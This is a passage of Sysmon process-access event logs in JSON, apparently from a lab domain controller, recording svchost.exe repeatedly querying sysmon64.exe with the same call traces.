C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1397,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1398,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1399,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+918f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1400,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1401,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1402,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1403,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.735","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1404,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.735\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 